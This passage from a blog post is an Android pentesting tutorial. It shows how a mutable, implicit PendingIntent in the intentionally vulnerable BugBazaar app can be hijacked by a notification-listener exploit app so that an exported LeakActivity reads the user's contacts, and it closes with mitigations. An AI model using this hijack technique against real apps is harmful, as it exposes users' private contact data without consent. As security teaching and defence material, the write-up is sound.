Intent.FLAG_ACTIVITY_CLEAR_TASK);<br><br>// Create the PendingIntent<br>PendingIntent pendingIntent = PendingIntent.getActivity(<br>    context,<br>    0,<br>    Targetintent, //the intent being wrapped as a Pending Intent<br>    0  //no special behaviour means FLAG_MUTABLE<br>);<br><br>...snip...</pre><h3>Exploiting Misconfigured Pending Intent in NotificationBuilder</h3><p>We have an <a href="https://github.com/payatu/BugBazaar"><em>APK </em></a>we have reverse-engineered in <a href="https://github.com/skylot/jadx"><em>JADX-GUI</em></a>. We’re looking for a NotificationBuilder that uses an implicit intent with unsafe or missing FLAG settings—something an attacker could override. A quick codebase search for PendingIntent reveals a suspicious usage in the NotificationUtils class, which is worth investigating further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*xdghX-hbN2B--fcJn3GQGA.png" /><figcaption>JADX-GUI Text Searcher dialog box</figcaption></figure><p>Inside the NotificationUtils class, we find a NotificationBuilder creating a notification with a PendingIntent passed to setContentIntent()—which seems normal at first. But on closer look:</p><ul><li>The base intent is empty (Implicit).</li><li>The flag used is 67108864, which corresponds to FLAG_MUTABLE.</li></ul><p>This combination — an empty intent + FLAG_MUTABLE—is dangerous. It opens the door to PendingIntent hijacking, where an attacker can modify the intent and execute unintended actions in the app’s name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AeiQGkzPiqDd-BZYCaDmqA.png" /><figcaption>Misconfigured NotificationBuilder</figcaption></figure><h3>Coding Our Exploit App</h3><p>In our exploit app, we implement a custom NotificationListenerService to monitor notifications from the vulnerable app. When a notification is posted, we can intercept and hijack the PendingIntent it contains. To do this, we create a service called BadNotificationListener and declare it in the manifest with the required permission BIND_NOTIFICATION_LISTENER_SERVICE and the appropriate intent-filter: NotificationListenerService.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*usQanoouDKhl83bQnoc68w.png" /><figcaption>AndroidManifest.xml</figcaption></figure><p>Before anything else, the vulnerable app must have permission to read the user’s contacts. As shown in its AndroidManifest.xml, it explicitly requests the READ_CONTACTS permission.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*_OW4-jiDfCI4hpbuE9mORA.png" /><figcaption>Vulnerable app requests its users to grant it permission to READ their CONTACTs</figcaption></figure><p>Here’s how it looks when the user has granted this permission:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*U4NNbKJR31OT_9FgMDvQoQ.png" /><figcaption>Permissions to READ Contacts granted</figcaption></figure><blockquote>In our exploit setup, we use the NotificationListenerService to detect notifications from the vulnerable app. Once captured, we log key details and extract the PendingIntent from the notification. We then modify it to redirect the contacts URI to our malicious app.</blockquote><h4>Overriding the PendingIntent</h4><p>To exploit the misconfigured PendingIntent, we construct a new fillInIntent with a custom action, such as EVIL_UNIQUE_ACTION. This intent is designed to override the original when sent back through the system. We assign it the Intent.FLAG_GRANT_READ_URI_PERMISSION to ensure it can access the data URI we attach.</p><p>Next, we use ClipData to bundle the contactsURI—this allows us to pass sensitive content securely within the intent. Once prepared, we inject this modified intent into the original PendingIntent and trigger it. The Android system then launches the intent, and any activity registered to handle the EVIL_UNIQUE_ACTION will receive the incoming URI and gain access to the contact data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i1z140oOLsxeYr7IFhHnhQ.png" /><figcaption>BadNotificationListener.java which listens for Notifications coming to the Android Device</figcaption></figure><h4>Implementing LeakActivity</h4><p>We’ll implement a new LeakActivity to receive incoming content:// URI pointing to contacts. This activity will be registered with a custom intent action, such as EVIL_UNIQUE_ACTION, via an &lt;intent-filter&gt; in the AndroidManifest.xml. To allow external apps to launch it, set android:exported=&quot;true&quot;. This configuration enables the activity to be triggered by any intent matching the specified action and URI pattern.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*maCSJZpbndp3lOFO8R5jeg.png" /><figcaption>Registering <strong>LeakActivity </strong>in AndroidManifest.</figcaption></figure><p>In the code of LeakActivity, we begin by retrieving the incoming Intent&#39;s ClipData and extracting the embedded URI. This URI is then passed to a helper method (readContactFromUri()) responsible for reading the contact data. The method queries the content resolver, extracts relevant contact details, and logs the output to a TextView for display.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*ENwTXhSEEM27mUoF84rzfg.png" /><figcaption>LeakActivity that expects an incoming URI to READ and display its content</figcaption></figure><p>In MainActivity, we add logic to request the android.permission.BIND_NOTIFICATION_LISTENER_SERVICE permission. This is triggered within a button click listener. When the button is pressed, the app redirects the user to the system settings screen where they can grant notification access to the app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dRWqnr5rvratdG6nEaWHpA.png" /><figcaption>MainActivity — What we first see when we launch the exploit app (ignore the comments in this code)</figcaption></figure><p>Run the exploit app and when the Exploit button is clicked, the app launches the system’s Notification Access settings using the ACTION_NOTIFICATION_LISTENER_SETTINGS intent. This takes the user directly to the permissions page, where they can manually enable notification access for the app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1PPR-s7QX_oCYBFJAJOsow.png" /><figcaption>Grant our exploit app the permission to read all incoming notifications to the Android device</figcaption></figure><blockquote>If you are a web app pentester and your brute force attacks get rate limited a lot, you can bypass this and <a href="https://medium.com/@tinopreter/e3a819d453a6?sk=956c93695c06b2325671106308ab7fa0"><strong>turn 429 Rate Limit into $$bounty$$</strong></a><strong>.</strong></blockquote><h3>The Actual Exploit in Action</h3><p>Now when we launch the vulnerable app for the first time, We get a Notification telling us we have been granted some tokens. The pending Intent contained in this notification is what gets exploited.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*pn_gA3KK4pynr8uBbJ4oMQ.png" /><figcaption>Vulnerable app shows a Notification</figcaption></figure><p>Once the notification appears, the embedded PendingIntent is automatically triggered, launching our LeaksActivity. This activity receives the contact URI and reads the user’s contact list without further interaction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*0O-APCksMY-U74__kjuVsg.png" /><figcaption>Exploit app receives the Contacts URI, reads it and displays it</figcaption></figure><h4>Video PoC</h4><p>Below is a video PoC demonstrating the full exploit flow — from granting the exploit app notification access, to intercepting the vulnerable app’s PendingIntent, and finally reading the user’s contact information via LeaksActivity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*Ce5vZQsu_qABEPgo-3DOgA.gif" /><figcaption>xploit Poc</figcaption></figure><h3>How to Secure a PendingIntent</h3><ol><li>Use PendingIntent.FLAG_IMMUTABLE (API 31+). This ensures the intent cannot be modified by the receiver.</li><li>Prefer explicit intents over implicit ones to avoid interception by other apps.</li><li>Ensure the Intent used in the PendingIntent targets only your app components. Use intent.setPackage(context.getPackageName());</li><li>If the PendingIntent launches an activity or service, make sure that component is not unnecessarily exported in the manifest.</li></ol><p>Hey… <em>see you</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/0*39I-VVJMuqDyzErM.gif" /><figcaption>Randy</figcaption></figure><p>Thanks for reading this, if you have any questions, you can DM me on Twitter<em> @</em><a href="https://twitter.com/tinopreter">tinopreter</a>. Connect with me on LinkedIn <a href="https://www.linkedin.com/in/tinopreter">Clement Osei-Somuah</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=547b0892b7f7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>